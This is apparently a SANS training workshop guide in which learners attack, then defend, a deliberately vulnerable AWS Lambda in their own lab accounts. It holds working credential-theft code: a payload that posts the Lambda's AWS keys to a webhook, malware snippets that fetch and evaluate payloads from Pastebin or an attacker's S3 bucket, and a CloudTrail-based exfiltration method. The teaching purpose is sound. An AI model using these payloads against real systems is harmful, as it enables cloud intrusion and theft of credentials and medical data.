SANS Cloud Curriculum - 2024 Workshop Series

Aviata Solo Flight Challenge - Chapter 2

Learning Objectives

In this workshop, you will:

Analyze how a supply-chain attack can enable bad actors to exfiltrate data from compute instances, including AWS Lambda functions.
Use exfiltrated cloud credentials to escalate privileges for other AWS services.
Isolate the Lambda in a private VPC and use private endpoints to enable legitimate access to AWS services.
Block access to data in AWS services from outside of the private VPC.
Prove that a misconfigured endpoint policy can enable data exfiltration from an isolated environment using AWS services.
Implement a proper endpoint policy to block exfiltration using AWS services.

Introduction

In this workshop, we will be playing the roles of Aviata, the company we want to defend, and the Baron Von Herrington and Co., the unethical company attacking Aviata. This will demonstrate some of the attacks threats use to harm your organization and how to implement practical controls to mitigate them.

If you work on the defensive side, have fun thinking like a hacker! These offensive techniques will help enforce your protection mechanisms. If you work on the offensive side, learn some of the controls that can get in your way and how to bypass the insufficient ones. If you work on both sides, you are going to absolutely love this workshop!

Setup

Install Required Workstation Tools

Make sure you are using a modern, up-to-date browser.
Ensure you have access to a Bash terminal. This will be automatically available for Linux and Mac workstations. For Windows, two options are Windows Subsystem for Linux or Git for Windows.
Install the Git CLI if not already available (it comes bundled with Git for Windows).
Install the Terraform Command-Line Interface (CLI).
Install the AWS CLI.
Install NodeJS v18 or later and NPM. https://nodejs.org/en/download/ for detailed instructions.

Initialize the Aviata (Defense) AWS Account

Important

Even when using a free-tier cloud account, AWS charges a small amount for some of the resources we will be creating in this workshop. You should expect a negligible bill for the resources you create in this workshop. To guarantee that additional bills will not accumulate, consider closing your account at the conclusion of the workshop.

You must not use a cloud account with existing personal or corporate resources. We will be uploading insecure infrastructure that should not be in production environments.

Browse to the AWS Web Console.
If you have not created an account already, sign up for a new account now.
- Press the Create a New AWS Account button.
- Fill out the form to sign up for a new free tier account.
Sign in with the root account's username (email address or mobile number) and password, and then press the sign in button.
After signing in, the console will redirect to the home screen where you can browse the available AWS services.

Create an IAM User and Access Key for the Aviata (Defense) AWS Account

Return to the AWS Console for the Aviata (Defense) AWS account. Then, create a new cloudsecurity IAM user account with AdministratorAccess permissions and download its credentials file.

In the AWS services search box, type "IAM" and select the IAM service that appears in the results.
In the left navigation menu, click the Users link under the Access management section.
On the Users page, press Add users to create a new user.
Give the user a User name of cloudsecurity and press Next.
Configure the cloudsecurity user's permissions:
- On the permissions screen, press Create group.
- On the create group screen, enter User group name Admin
- On the create group screen, Select the policy name AdministratorAccess. The name of the policy must match this exactly.
- Press Create user group.
Press Next.
Confirm your new user's settings by pressing Create user. If the new cloudsecurity user is successfully created, you will see a message with a green background and a check stating User created successfully.
Click on the newly created user.
Navigate to the Security credentials tab.
Scroll down to the Access keys section and press Create access key.
Select the Other use case and press Next.
Skip the optional step by pressing Create access key.
To save the credentials on your system, press the Download .csv button to download the Access Key ID and Secret Access Key for the new user. We will use these values in the next section to configure the AWS CLI. Then, press Done

Deploy the Environment

Clone the lab materials from GitHub by pasting the following into your Bash terminal:
```
git clone git@github.com:sans-cloud-sec510/ace135-lab.git
```
Change directories to the newly cloned repository:
```
cd ace135-lab
```
Authenticate to your Aviata (Defense) AWS account using the Access Key file downloaded previously:
```
aws configure import --csv ~/Downloads/credentials.csv
```

Deploy the infrastructure:

cd app
npm ci
npm run build
cd ../infrastructure/functions/upload-medical-document
npm ci
cd ../../terraform
terraform init
terraform apply -auto-approve

Once you receive the following output, your deployment should be done:

Expected Results

Apply complete! Resources: X added, Y changed, Z destroyed.

Outputs:

site_url = "http://medical-documents-app-..."

Note the site_url in the output. Open that URL in your browser. You are now ready to begin the exercise!

Instructions

In order to be a certified pilot, you must participate in regular medical exams. Before making their historic feat, Aviata pilots must obtain their medical records and upload them to a central database.

The development work to support this seemed trivial. All the Aviata team needed to do was create a simple web interface from which to upload a file and a service to process it. "What could go wrong?"

Explore the Application

First, we need a sample medical document to upload. You can download an electronic medical record for one of Aviata's pilots, Alice Cuddy, from her medical provider, Nimbus Inmutable (the company analyzed in SEC510: Cloud Security Controls and Mitigations lab environment), by right-clicking and downloading this image. Alternatively, you can use any other non-sensitive image file that you would like.
Return to the site_url that you opened earlier. Then, click the button under Upload a medical document (this may be labeled Browse, Choose File, or something else depending on your browser) to upload the medical document:
Wait a few seconds. Afterwards, you should see a message stating that says Document uploaded successfully!:
The file should have been processed to save space and uploaded to S3. Let us confirm this. Return to the Aviata (Defense) AWS Account console. Type S3 in the Search bar and click the first result:
Under General purpose buckets, select the bucket with the pattern medical-documents-<8 random characters>. Do not select the one containing the word app as that is the bucket that contains the actual application code.
Check the box next to the image file in the bucket and click Open:
Look at the downloaded file. It should be the same file that you uploaded except it has been resized, converted to grayscale, and has had its quality reduced:

Analyze the Supply-Chain Attack in the Service

This application uses a fairly simple service powered by AWS Lambda. There is not a whole lot of attack surface to target here. Unfortunately, Baron Von Herrington's crew was determined to attack anything and everything they could. They hijacked a package on a code repository that Aviata used for this simple service and inserted some malware. Let us explore this package.

Navigate to the package's index.js file. This is Node.js application code. You do not need to be able to read it to complete this workshop. However, it will be helpful to understand what this is doing at a high-level. First, look at this snippet of the compressImgAndUploadToS3 function:
Code Snippet
```
await file
  .resize(595, 842)
  .quality(60)
  .greyscale()
  .writeAsync(destination)
```

This uses another dependency called jimp to process the uploaded image to save space. Next, look at this snippet:

Code Snippet

await new Promise((resolve, reject) => {
    s3.putObject({
    Body: fs.readFileSync(destination),
    Bucket: bucketName,
    Key: path.basename(destination)
  }, (err) => {
    if (err) {
      reject(err)
    } else {
      resolve()
    }
  })
})

fs.unlinkSync(destination)

This uploads the processed file to S3 using the PutObject action. After this operation completes, it will remove the file from the file system using fs.unlinkSync. Finally, analyze this snippet:

Code Snippet

module.exports = async (filename, fileBuffer, bucketName) => {
  // Wait for both functions to complete even if one fails before the other completes.
  const results = await Promise.allSettled([
    compressImgAndUploadToS3(filename, fileBuffer, bucketName),
    require('./innocuous')()
  ])

  ...
}

This is the main function that is called by the Lambda. It executes the compressImgAndUploadToS3 function to perform the operations detailed above. However, it also executes a Node.js module called innocuous. What could that be about? Is it really so innocuous? View it here. Take a look at this snippet:
Code Snippet
```
console.log(`Retrieving the payload from Pastebin ID: ${pastebinId}`)

const res = await axios.get(`https://pastebin.com/raw/${pastebinId}`, {
  timeout: 7500
})

payload = res.data
```
Oh no! This dependency is downloading a payload from Pastebin.com. Later on in this module, it is evaluated as JavaScript. This code is executed every time a medical document is uploaded. Assuming that this paste is owned by Baron's crew, they could change it at any time to execute arbitrary code on the Lambda. What can go wrong? As you will see shortly, so many things! In the next section, we will configure this Lambda to point to a specific Pastebin ID and inject a payload that extracts the Lambda's IAM credentials.

Note

The package is using a Pastebin ID that we are about to provide as an environment variable. In a real supply-chain attack (like the one for ESLint), this ID would be hardcoded. We are storing the Pastebin ID in an environment variable so that you can perform a supply-chain attack without having to re-publish this dependency with your specific Pastebin ID.

Exfiltrate IAM Credentials from the Lambda

Navigate to Pastebin.com.
Sign Up for a new account if you do not already have one by clicking the Sign Up button in the top-right corner and following all of the instructions provided:

Once signed in, we will create a new paste. Copy and paste the following payload into the large textbox labeled New Paste. Do not click Save Changes yet.

(async () => {
  const axios = require('axios')
  const webhook = '<Your unique URL>'

  const res = await axios.post(webhook, {
    accessKeyId: process.env.AWS_ACCESS_KEY_ID,
    secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
    sessionToken: process.env.AWS_SESSION_TOKEN
  })

  return res.data
})()

Navigate to webhook.site.
This will automatically generate a Webhook that can accept arbitrary HTTP requests. Click on the link to copy it to your clipboard:
Keep the page for this webhook open.
Return to the paste. Replace the the placeholder <Your unique URL> in your code with the copied URL. Do not remove the apostrophes surrounding this placeholder. Then, under Syntax Highlighting, select JavaScript. Finally, click Create New Paste. Do NOT check Paste as a guest:
This payload is now set up to extract the Lambda's IAM Access Key ID, Secret Access Key, and Session Token from its environment variables. It will then exfiltrate those credentials to the Webhook that we have created over an HTTP request. Using these credentials, we can impersonate the IAM Role for the Lambda. Copy the ID from the Pastebin.com URL bar:
Keep this window open.
Now, we need to connect the Lambda to this paste. Navigate to the AWS Console for Aviata (Defense). Type Lambda in the Search bar and click the first result:

Warning

Every resource used in this workshop, excluding global resources, must be located in the US East (N. Virginia) / us-east-1 region. If you are not seeing the expected results throughout the workshop, confirm you are viewing the correct region by inspecting the bar at the top of the AWS Console:
Select the Lambda for this workshop, which is named upload-medical-documents. Click Configuration, Environment variables, and Edit in the top-right corner of the Environment variables window:
Click Add environment variable. For the Key, enter PASTEBIN_ID. For the value, paste the ID copied from the Pastebin.com URL bar above. Do not modify the existing environment variable named MEDICAL_DOCUMENTS_BUCKET_NAME. Finally, click Save:
Return to the Aviata Medical Document Upload webpage. Upload an image again (it can be the same image):
View your Webhook. You should see the Lambda's IAM credentials:

Warning

It is possible for this exploit to timeout or fail. If you do not get the expected result, please try again at least twice before troubleshooting further.

Success! We have exfiltrated sensitive data from the Lambda! Note that we could have exfiltrated many other sensitive items using this method. For example, the payload could have potentially exfiltrated the medical document uploaded in this request.

Exploit IAM Credentials

AWS Identity and Access Management (IAM) credentials are used to access AWS-managed services. Let us examine what we can do with these credentials.

Open a new Bash terminal. You should still be authenticated using the IAM user we set up earlier in this exercise. Run the following commands to replace these credentials with invalid ones:
```
export AWS_ACCESS_KEY_ID="foo"
export AWS_SECRET_ACCESS_KEY="bar"
```
Run the following command to prove that you are no longer authenticated:
```
AWS_PAGER="" aws sts get-caller-identity
```
Observe the following output. If you get a different set of results, run the previous commands again.

Expected Results

An error occurred (InvalidClientTokenId) when calling the GetCallerIdentity operation: The security token included in the request is invalid.

Return to your Webhook. Export the values like so, replacing the placeholders (including the < characters, not the quotation marks):

export AWS_ACCESS_KEY_ID="<Your accessKeyId>"
export AWS_SECRET_ACCESS_KEY="<Your secretAccessKey>"
export AWS_SESSION_TOKEN="<Your sessionToken>"

Run the same command as before to see that we are now authenticated as the Lambda's role:
```
AWS_PAGER="" aws sts get-caller-identity
```
Look at the results. The Arn field should now indicate that these credentials have been created by assuming a role (assumed-role) named ace135-workshop-chapter2 for the upload-medical-documents Lambda:
Expected Results
```
{
    "UserId": "ARO...:upload-medical-documents",
    "Account": "012345678901",
    "Arn": "arn:aws:sts::012345678901:assumed-role/ace135-workshop-chapter2/upload-medical-documents"
}
```
We have demonstrated that the Lambda has access to S3. Let us demonstrate whether or not we have full access to S3. Run the following command to attempt to list all of the buckets in the AWS account:
```
aws s3 ls
```

Observe the following error:

Expected Results

An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied

Thankfully, the Aviata team followed the guidance of SEC510: Cloud Security Controls and Mitigations and followed the principle of least privilege. Here is the only IAM statement for this Lambda's role related to S3:
IAM Policy
```
{
    "Action": "s3:PutObject",
    "Effect": "Allow",
    "Resource": "arn:aws:s3:::<medical-documents-myRand0m>/*"
}
```
While it is fantastic that this Lambda can only interact with S3 as needed (i.e., to upload a file to the bucket containing Medical Documents), attackers will exploit anything they can find. Let us demonstrate that these credentials are usable outside of the Lambda and the cloud network by running the following commands to upload a document. Replace <medical-documents-myRand0m> with the name of the bucket shown in the AWS Console.
```
export AVIATA_BUCKET="<medical-documents-myRand0m>"
echo "Test" > "/tmp/malware.sh"
AWS_PAGER="" aws s3api put-object --bucket "$AVIATA_BUCKET" --key "malware.sh" --body "/tmp/malware.sh"
```

Observe a response like the following, indicating success:

Expected Results

{
    "ETag": "\"...\"",
    "ServerSideEncryption": "AES256"
}

Move Lambda to a Subnet Without Internet Access

We have discovered three issues we should mitigate:

There is an extremely malicious code package in our environment.
The Lambda is able to exfiltrate data to the public internet.
Our Lambda's IAM credentials can be used outside of our cloud network.

We will not be fixing the first issue as this is not a workshop on Application Security. However, we can remediate the last two issues by isolating our Lambda in a Virtual Private Cloud (VPC) and applying the proper IAM policy. By default, the Lambda is in a VPC managed by AWS with wide-open ingress and egress. Let us change that now.

Return to the Lambda service in the AWS Console for the Aviata (Defense) AWS Account:
Select the Lambda for this workshop, which is named upload-medical-documents. Click Configuration and VPC. You will see that This function isn't connected to a VPC. Click Edit in the top-right corner of the VPC window:
Click the Choose a VPC dropdown and select the option with a Name of workshop (this should be the only available option). Then, click the Choose subnets dropdown and select the option with a Name of workshop-private (this should again be the only available option). Ignore the warning stating that We recommend that you choose at least 2 subnets for Lambda to run your functions in high availability mode.. Then, click the Choose security groups dropdown and select the option labeled ace135-workshop-chapter2-lambda. Make sure that the security group label ends with the with lambda. Finally, click Save:
You will see a status message stating that we are Updating the function upload-medical-documents. This will take a few minutes. Once you see the following message, all egress traffic from the Lambda to the internet will be blocked, and the only ingress traffic that will be allowed is the traffic originating from the Lambda's built-in URL:
Upload another medical document using the application:
View your Webhook. You should notice that no additional requests came through.

While the data exfiltration has been blocked, the Lambda is still able to process a file and upload it to S3. How is it possible to interact with S3 without egress internet traffic?

Introducing Private Endpoints

Private endpoints are routes in your private cloud network. Using them, applications in our private network can communicate with cloud-managed services without it going over the internet. All of the Big 3 cloud providers have some form of private endpoint functionality. We are focusing on AWS in this workshop both because of time constraints and because AWS private endpoints have some unique concerns.

The VPC you moved the Lambda into already has a private endpoint for S3 that we created during our initial deployment. With it, the Lambda can route to S3 without access to the internet. This prevents the malicious dependency from downloading the paste used previously, and even if that malicious payload was hardcoded in the dependency, the Lambda would not be able to exfiltrate its IAM credentials to the Webhook.

Prevent IAM Credentials from External Use

Even though we blocked this exfiltration vector, some damage has already been done. The Lambda's IAM credentials will remain valid for 12 hours after they are generated. Let us demonstrate that these credentials can still be used to interact with S3. Then, we will mitigate this issue.

Repeat the final two steps in the "Exploit IAM Credentials" section to upload a file to the S3 bucket containing medical documents.

Note

If you no longer have access to active IAM credentials for the Lambda, you can remove the Lambda from the VPC and repeat the exfiltration steps.
Observe a response like the following, indicating that these credentials can still be used to upload files to this bucket:
Expected Results
```
{
    "ETag": "\"...\"",
    "ServerSideEncryption": "AES256"
}
```
Return to the Lambda service in the AWS Console for the Aviata (Defense) AWS Account:
Select the Lambda for this workshop, which is named upload-medical-documents. Click Configuration and Permissions. Then, click the Role name, ace135-workshop-chapter2. This will open a new window. Do not close the existing tab containing the Lambda configuration.
In the new tab, click the plus icon (+) next to the policy named ace135-workshop-chapter2-lambda-s3 to expand the policy. Then, click Edit in the top-right corner of the expanded policy:

Under the Policy editor, add a comma at the end of the line containing the word Resource. Then, press Enter to make a line break. Then, copy and paste the following JSON while on the new line:

"Condition": {
              "StringEquals": {
                "aws:SourceVpc": "<The Lambda's VPC ID>"
              }
            }

This new clause makes the Lambda's access to S3 conditional. Entities that have assumed the IAM role associated with the Lambda can only put objects into the S3 bucket containing medical documents if the request originated from the Lambda's VPC ID. To complete this condition, we will need to substitute <The Lambda's VPC ID> with the actual VPC ID. Return to the tab containing the Lambda configuration. Click Configuration and VPC. Then, copy the VPC ID located under the VPC heading:
Return to the tab with the Policy editor. Replace the <The Lambda's VPC ID> with the VPC ID you just copied. Do not remove the quotation marks surrounding this placeholder. Then, click Next in the bottom-left corner:
Click Save changes in the bottom-right corner to apply the policy:
Try to use the IAM credentials to upload a file to the S3 bucket containing medical documents. You should now receive an error:
Expected Results
```
An error occurred (AccessDenied) when calling the PutObject operation: Access Denied
```
Upload another medical document using the application:

If the Document uploaded successfully!, the Lambda's IAM credentials can only be used within the VPC! Mission accomplished...right?

Analyze Default Endpoint Policy

Of course not. Even amazing security capabilities like private endpoints can be exploited. Let us find out how by analyzing the endpoint.

Type VPC in the Search bar and click the first result:
Click Endpoints on the sidebar and then click the VPC endpoint ID:
Click on the Policy tab and observe the policy:

So many asterisks! The default endpoint policy has wildcards allowing every Action, Principal, and Resource. If you are used to reading IAM policies, you might assume that this means that anyone with access to the endpoint has administrative access. This is not necessarily the case. This policy indicates that any request can be sent through the endpoint. In our cause, any request sent through this endpoint will be routed to the S3 service. If the caller does not have permission to perform that operation in S3, they will still be denied.

This lax endpoint policy can be exploited by a clever attacker. In the attack we demonstrated earlier, Baron's crew delivered a payload from the internet and used it to exfiltrate data to a Webhook they controlled. Without internet access, this is no longer possible. However, there is nothing stopping Baron's crew from creating AWS resources that they control. Because the endpoint policy allows all requests, they could create their own bucket, host a payload in it, and have the malicious package download it.

In fact, the malware is already capable of doing this! Check out this snippet from malware.js, the malicious portion of the package:

Code Snippet

console.log(`Retrieving the payload from an S3 file: ${s3ObjectArn}`)

const bucketAndObject = s3ObjectArn.split(':::')[1]
...
const [bucket, object] = bucketAndObject.split('/')

...

const s3 = new AWS.S3({
  endpoint: `https://s3.${process.env.AWS_REGION}.amazonaws.com`
})

payload = await new Promise((resolve, reject) => {
  s3.makeUnauthenticatedRequest('getObject', {
    Bucket: bucket,
    Key: object
  }, (err, data) => {
    if (err) {
      reject(err)
    } else {
      resolve(data.Body.toString())
    }
  })
})

The code in this snippet will download a payload from an attacker-controlled S3 object. It is able to do this without authentication (makeUnauthenticatedRequest) because the attacker will make the payload file publicly accessible.

When you were looking at the VPC endpoint previously, you might have noticed that the Private DNS names enabled flag was set to Yes. This is used to make migrating to a private endpoint much easier. Instead of having to hardcode the private hostname for the private endpoint, DNS requests made within the VPC to https://s3.<The AWS region>.amazonaws.com will automatically resolve to the private endpoint. No application code changes will be required. Unfortunately, this convenience also extends to the attacker: they also do not need to hardcode the private endpoint's hostname in their malware.

In the next sections, we will create a separate AWS account for Baron's crew, configure the Lambda to point to an S3 object in that account, and inject a payload that extracts the Lambda's IAM credentials. We will then demonstrate how it is possible to exfiltrate those credentials without internet access using the same private endpoint. So much for an isolated environment!

Note

Just like before, in a real supply-chain attack, the attacker-controlled S3 object's name would be hardcoded. We are storing the Amazon Resource Name (ARN) to the attacker-controlled payload in an environment variable so that you can perform a supply-chain attack without having to re-publish this dependency with your specific object ARN.

Initialize the Baron Von Herrington and Co. (Attack) AWS Account

We need to create a second AWS account for Baron Von Herrington and Co. Repeat the steps to "Initialize the Aviata (Defense) AWS Account" to create a separate AWS account that we will use for attacking purposes. You do not need to create an IAM User or Access Key for this second account.

You will need to switch back-and-forth between these two accounts. For this reason, we recommend opening these accounts in two different browsers or two different browser sessions (e.g., open the Attack account in an Incognito session). We will make it clear as to which account you need to use for each step.

Execute Malicious Payload from an Attacker-Controlled S3 Bucket

Let us set up the attack infrastructure for Baron's crew.

In the Baron Von Herrington and Co. (Attack) AWS account, type S3 in the Search bar and click the first result:
Under General purpose buckets, click Create bucket:
Examine the AWS Region dropdown. If it is not already set to US East (N. Virginia) us-east-1, switch it to that value. Then, enter a Bucket name. This name must be unique. Consider using the format ace135-<Your first name>-<Your last name>. Next, under Object Ownership, select ACLs enabled. Ignore the warning (remember, we are purposefully trying to make this malicious payload publicly accessible).
Scroll down to the Block Public Access settings for this bucket section. Uncheck Block all public access. Check the box in the warning stating I acknowledge that the current settings might result in this bucket and the objects within becoming public.:
Finally, click Create bucket:
You should see a message stating that you Successfully created bucket "...". In this message bar, click View details:
Next, we will upload the payload as an S3 object. To start, right-click and save this link: payload.js.
Open this file in a text editor (VSCode, Sublime Text, vim, etc.) and replace <The name of the bucket in the Baron Von Herrington and Co. (Attack) AWS Account> with the name of the bucket created above. Do not remove the apostrophes surrounding this placeholder. Then, save the file on your workstation. The resulting file should look something like this:
On the bucket's page, click Upload:
Click Add files. Select the payload.js file you just modified. Expand the Permissions section. Select the Grant public-read access option. Check the box in the warning stating I understand the risk of granting public-read access to the specified objects.. Finally, click Upload.
Once the upload completes, click on the newly created object payload.js:
Click the clipboard icon under the Amazon Resource Name (ARN) field to copy the ARN of the payload object:
Return to the Aviata (Defense) AWS Account. Navigate to the Lambda service:
Select the Lambda for this workshop, which is named upload-medical-documents. Click Configuration, Environment variables, and Edit in the top-right corner of the Environment variables window. Click Add environment variable. For the Key, enter S3_OBJECT_ARN. For the value, paste the ARN copied above. Do not modify the existing environment variables. Finally, click Save:

Exfiltrate IAM Credentials to an Attacker-Controlled Bucket

Now, when a medical document is uploaded, the above payload should execute. However, because the payload is making an unauthenticated request and it is difficult to ensure that the Lambda will have the necessary permission to write files to this bucket, we will be taking a different approach. We will enable CloudTrail for Baron's bucket. CloudTrail will log API calls made to Baron's resources, regardless of whether or not the API calls are authorized. When the payload fails to upload the file to Baron's bucket, the contents of the request will be accessible through CloudTrail. We will demonstrate how we can use this to exfiltrate arbitrary data from Aviata's Lambda to Baron's CloudTrail logs.

Back in the Baron Von Herrington and Co. (Attack) AWS Account, type CloudTrail in the Search bar and click the first result:
Under Trails, click Create trail:
Under General details, enter any Trail name that you would like. Uncheck the box labeled Log file SSE-KMS:
Under CloudWatch Logs, check Enabled. Note the Log group name that is automatically generated. Enter any Role name that you would like. Leave all of the other settings alone and click Next:
On the next page, under Events, check the box labeled Data events:
Under Data events, click the dropdown under Data event type and select S3. Then, click Next:
On the review page, click Create trail. After a few seconds, you should be redirected and receive a message stating that the Trail successfully created.
Upload another medical document using the application:
The payload in Baron's S3 bucket should have been executed. We will now search for the corresponding CloudTrail event in CloudWatch logs. Still in the Baron Von Herrington and Co. (Attack) AWS Account, type CloudWatch in the Search bar and click the first result:
Click Log groups on the sidebar. Then, find the Log group noted earlier (it should be the only one listed for new accounts) and click it:
Click Search all log streams:

Copy and paste the following query into the Filter events box:

{$.eventName="GetObject" && $.requestParameters.key="EXFIL:*"}

Press Enter to get the results. If you do not receive any results, wait and try again. Eventually, you should see the Lambda's IAM credentials:

Thankfully, these IAM credentials are no longer usable outside of Aviata's VPC. However, remember that this is only one example. In fact, the inclusion of the managed VPC can actually increase the risk: Baron could use this exploit to pivot to other systems within the VPC and exfiltrate them using this method.

Fix the Endpoint Policy

To stop the attack, you must lock down the private endpoint so that it cannot be used to interact with the Baron's resources. Can you help Aviata keep their air-gapped network from leaking?

Back in the Aviata (Defense) AWS Account, type VPC in the Search bar and click the first result:
Click Endpoints on the sidebar and then click the VPC endpoint ID:
Click on the Policy tab. Then, click Edit Policy:

Select the entire contents of the policy document and replace it with the following:

{
  "Statement": [
    {
      "Action": "*",
      "Effect": "Allow",
      "Principal": "*",
      "Resource": "*"
    },
    {
      "Action": "*",
      "Effect": "Deny",
      "Principal": "*",
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:ResourceAccount": [
            "<Aviata's AWS Account ID>"
          ]
        }
      }
    }
  ]
}

This policy adds a Deny statement. It will block all requests where the target resource does not reside in Aviata's AWS account. To complete this condition, we will need to substitute <Aviata's AWS Account ID> with the actual AWS Account ID. In the top-right corner of the AWS Console, click on your logged in user. Then, click on the clipboard icon next to the Account ID. Then, replace the <Aviata's AWS Account ID> with the AWS Account ID you just copied. Do not remove the quotation marks surrounding this placeholder. Finally, click Save:
Wait around 5 minutes. It can take a few minutes for endpoint policies to take effect. Then, upload another medical document using the application:
Notice that the upload succeeded. Then, repeat the CloudWatch query in the Baron Von Herrington and Co. (Attack) AWS Account. You should not see any new results!

Warning

If you do see new results, you might have not waited long enough for the endpoint policy to take affect. Please try again.

Conclusion

We covered so much ground in this workshop. On the offense side, we learned how to create a malicious supply chain package at a high-level, use them to download arbitrary payloads over HTTP, extract a Lambda's IAM credentials, use these credentials to escalate privileges, and use a misconfigured private endpoint as a route to attacker-controlled resources. On the defense side, we learned how to isolate a Lambda to a private VPC, use private endpoints to access the resources it needs, limit the usage of IAM credentials outside of a VPC, and harden endpoint policies to prevent misuse. It is remarkable how even a security feature like private endpoints can be exploited by determined attackers. Mitigating complex attacks like these is much harder than just purchasing a tool or following compliance guidelines. Security professionals like you must continue to level up their skills to keep up with the attackers. We hope that this workshop has helped you in that journey!

Exploring Further

This workshop's content was adapted from SEC510: Cloud Security Controls and Mitigations. SEC510 provides cloud security analysts, engineers, and researchers with practical security controls that can help organizations reduce their attack surface and prevent security incidents from becoming breaches. To learn more, please visit here, review the syllabus, and click the Course Demo button for a free ~1 hour module.
This workshop was inspired by the CloudSecNext Summit 2021 talk: Exfiltration Paths in Isolated Environments using VPC Endpoints by Jonathan Adler. We highly recommend giving it a watch to re-enforce the concepts covered in this workshop.
The malicious package used by Aviata's Lambda generates a lot of application logs. Use CloudWatch to examine these logs. For example, if you look at the latest request, you will see that the package tried Retrieving the payload from an S3 file: arn:aws:s3:::.../payload.js. However, because of our new endpoint policy, it received an AccessDenied error.
The new endpoint policy still allows all actions on resources within Aviata's AWS account. Restrict this policy further to use the principle of least privilege.
We only covered AWS in this workshop. We cover Azure and Google Cloud's private endpoint solutions in SEC510. We recommend learning more about them as they operate very differently than AWS's. Thankfully, due to certain design decisions, it is highly unlikely that an attacker could use a private endpoint to connect to attacker-controlled resources. However, many of the other considerations are still applicable.

Terminate Cloud Resources

Tear Down Aviata Infrastructure

Change directories to the repository containing the lab environment's terraform infrastructure code:
```
cd <Path>/<To>/ace135-lab/infrastructure/terraform
```
Remove the infrastructure:
```
terraform destroy -auto-approve
```

Remove Baron Von Herrington and Co. (Attack) Infrastructure

All of the resources that you manually created in the Baron Von Herrington and Co. (Attack) AWS Account will need to be deleted manually. Alternatively, you could close this account (see below).
Resources created in the Baron Von Herrington and Co. (Attack) AWS Account
- Cloud Trail - ace135
- S3 Bucket - ace135-<FirstName>-<LastName>
- S3 Bucket - aws-cloudtrail-logs-<ACCOUNT_ID>-<RANDOM>
- CloudWatch Log Group - aws-cloudtrail-logs-<ACCOUNT_ID>-<RANDOM>
- IAM Role - ace135
- IAM Policy - Cloudtrail-CW-access-policy-ace135<TRAIL_NAME>-<GUID>

Close Accounts

To guarantee that additional bills will not accumulate, consider closing your accounts at the conclusion of the workshop. Alternatively, feel free to keep these accounts for future testing.